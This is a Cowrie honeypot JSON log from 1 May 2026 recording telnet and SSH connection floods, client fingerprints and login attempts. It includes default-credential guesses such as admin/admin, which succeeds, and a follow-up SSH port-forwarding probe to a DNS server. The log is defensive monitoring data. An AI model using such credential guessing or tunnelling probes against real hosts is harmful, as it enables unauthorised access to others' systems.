{"eventid":"cowrie.session.closed","duration":31.01880168914795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.342244Z","src_ip":"198.50.122.223","session":"052d1ab28bb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17982029914856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.373436Z","src_ip":"198.50.122.223","session":"85fe2baf8253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228882789611816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.399255Z","src_ip":"198.50.122.223","session":"5002e7dd0a83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48430,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad17c831bf3","protocol":"telnet","message":"New connection: 198.50.122.223:48430 (10.17.0.5:23) [session: 0ad17c831bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.405701Z"}
{"eventid":"cowrie.session.closed","duration":31.263736724853516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.501994Z","src_ip":"198.50.122.223","session":"53f8ff7be9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"751517902c3c","protocol":"telnet","message":"New connection: 198.50.122.223:50504 (10.17.0.5:23) [session: 751517902c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.757651Z"}
{"eventid":"cowrie.session.closed","duration":31.227185249328613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:00.810674Z","src_ip":"198.50.122.223","session":"9dec74af1811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52030,"dst_ip":"10.17.0.5","dst_port":23,"session":"da23b7ae331f","protocol":"telnet","message":"New connection: 198.50.122.223:52030 (10.17.0.5:23) [session: da23b7ae331f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.076192Z"}
{"eventid":"cowrie.session.closed","duration":30.9132239818573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.213916Z","src_ip":"198.50.122.223","session":"c0f694fb77bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56660,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aed1bb4e457","protocol":"ssh","message":"New connection: 159.203.92.129:56660 (159.203.135.109:22) [session: 7aed1bb4e457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.354614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.360043Z","src_ip":"159.203.92.129","session":"7aed1bb4e457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.365257Z","src_ip":"159.203.92.129","session":"7aed1bb4e457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"123456","message":"login attempt [apache/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.378057Z","src_ip":"159.203.92.129","session":"7aed1bb4e457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53434,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac8c9acc66d","protocol":"telnet","message":"New connection: 198.50.122.223:53434 (10.17.0.5:23) [session: 8ac8c9acc66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.471923Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53464,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f83da9a329","protocol":"telnet","message":"New connection: 198.50.122.223:53464 (10.17.0.5:23) [session: a1f83da9a329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.482000Z"}
{"eventid":"cowrie.session.closed","duration":31.092805862426758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:01.771222Z","src_ip":"198.50.122.223","session":"6d5c3e5175ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263133764266968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:02.322393Z","src_ip":"198.50.122.223","session":"1767c14623a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:02.388645Z","src_ip":"159.203.92.129","session":"7aed1bb4e457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"63fcd41a8633","protocol":"telnet","message":"New connection: 198.50.122.223:33072 (10.17.0.5:23) [session: 63fcd41a8633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.054444Z"}
{"eventid":"cowrie.session.closed","duration":30.52551031112671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.192546Z","src_ip":"198.50.122.223","session":"0d561367d4c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329904794692993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.366577Z","src_ip":"198.50.122.223","session":"b873854b8987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34362,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4d6d67d1d9e","protocol":"telnet","message":"New connection: 198.50.122.223:34362 (10.17.0.5:23) [session: d4d6d67d1d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.448062Z"}
{"eventid":"cowrie.session.closed","duration":31.049628019332886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.501080Z","src_ip":"198.50.122.223","session":"d26bba84f155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35248,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed97a445262e","protocol":"telnet","message":"New connection: 198.50.122.223:35248 (10.17.0.5:23) [session: ed97a445262e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.601672Z"}
{"eventid":"cowrie.session.closed","duration":31.072757959365845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.711179Z","src_ip":"198.50.122.223","session":"afb9998991ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59766,"dst_ip":"159.203.135.109","dst_port":22,"session":"7389c86632ff","protocol":"ssh","message":"New connection: 103.228.69.212:59766 (159.203.135.109:22) [session: 7389c86632ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.928291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:03.933403Z","src_ip":"103.228.69.212","session":"7389c86632ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.172201Z","src_ip":"103.228.69.212","session":"7389c86632ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.950418949127197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.246743Z","src_ip":"198.50.122.223","session":"ce0564888a1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04182767868042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.347209Z","src_ip":"198.50.122.223","session":"3a0cc8588af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228457927703857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.417775Z","src_ip":"198.50.122.223","session":"f18ef30a1b27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843271017074585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.660206Z","src_ip":"198.50.122.223","session":"b26a0d0ffff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"96dad5260612","protocol":"telnet","message":"New connection: 198.50.122.223:42206 (10.17.0.5:23) [session: 96dad5260612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.922691Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42478,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aaa7f41ce2c","protocol":"telnet","message":"New connection: 198.50.122.223:42478 (10.17.0.5:23) [session: 2aaa7f41ce2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:04.978788Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwert","message":"login attempt [admin/qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:05.153502Z","src_ip":"103.228.69.212","session":"7389c86632ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.645610809326172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:05.489727Z","src_ip":"198.50.122.223","session":"1d40753be49e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090008020401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:05.522132Z","src_ip":"198.50.122.223","session":"ed9111a9b4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058427095413208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:05.526938Z","src_ip":"198.50.122.223","session":"90377cb58c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46884,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de1f70ed14d","protocol":"telnet","message":"New connection: 198.50.122.223:46884 (10.17.0.5:23) [session: 2de1f70ed14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:05.832008Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48030,"dst_ip":"10.17.0.5","dst_port":23,"session":"8181f3c3e4db","protocol":"telnet","message":"New connection: 198.50.122.223:48030 (10.17.0.5:23) [session: 8181f3c3e4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.101647Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.394239Z","src_ip":"103.228.69.212","session":"7389c86632ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07205295562744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.494141Z","src_ip":"198.50.122.223","session":"d7a0a3eb16ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02174139022827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.565275Z","src_ip":"198.50.122.223","session":"548e1bb3adfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960248947143555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.575834Z","src_ip":"198.50.122.223","session":"78791daf4c4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263832807540894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.800862Z","src_ip":"198.50.122.223","session":"959f722f7c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.344414234161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:06.836935Z","src_ip":"198.50.122.223","session":"212d3acf500b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54888,"dst_ip":"10.17.0.5","dst_port":23,"session":"225f34ed6111","protocol":"telnet","message":"New connection: 198.50.122.223:54888 (10.17.0.5:23) [session: 225f34ed6111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:07.494542Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32760,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ce346e0d246","protocol":"ssh","message":"New connection: 87.251.64.176:32760 (10.17.0.5:22) [session: 6ce346e0d246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:07.852634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:07.857935Z","src_ip":"87.251.64.176","session":"6ce346e0d246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:07.954176Z","src_ip":"87.251.64.176","session":"6ce346e0d246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58148,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d55ad03296","protocol":"telnet","message":"New connection: 198.50.122.223:58148 (10.17.0.5:23) [session: 17d55ad03296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.094025Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.248484Z","src_ip":"87.251.64.176","session":"6ce346e0d246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.760988235473633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.291094Z","src_ip":"198.50.122.223","session":"08bb99c10355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054482460021973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.297011Z","src_ip":"198.50.122.223","session":"f44732040e5a","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.349613Z","session":"6ce346e0d246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ade82ce4f3","protocol":"telnet","message":"New connection: 198.50.122.223:59182 (10.17.0.5:23) [session: c0ade82ce4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.359277Z"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.451134Z","src_ip":"87.251.64.176","session":"6ce346e0d246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.557696Z","src_ip":"87.251.64.176","session":"6ce346e0d246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9120032787323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.803115Z","src_ip":"198.50.122.223","session":"7dbfcf2bf88e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15642213821411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:08.808065Z","src_ip":"198.50.122.223","session":"705d11294274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109915733337402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:09.257170Z","src_ip":"198.50.122.223","session":"2472807dc753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066022396087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:09.282727Z","src_ip":"198.50.122.223","session":"2fd3cded9b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14435887336731,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:09.385255Z","src_ip":"198.50.122.223","session":"15fc71bca2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51760196685791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:09.408744Z","src_ip":"198.50.122.223","session":"6b518effe320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.657962322235107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:09.777331Z","src_ip":"198.50.122.223","session":"491e41a6f2d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43771266937256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:10.288486Z","src_ip":"198.50.122.223","session":"40214e1204ae","protocol":"telnet"}
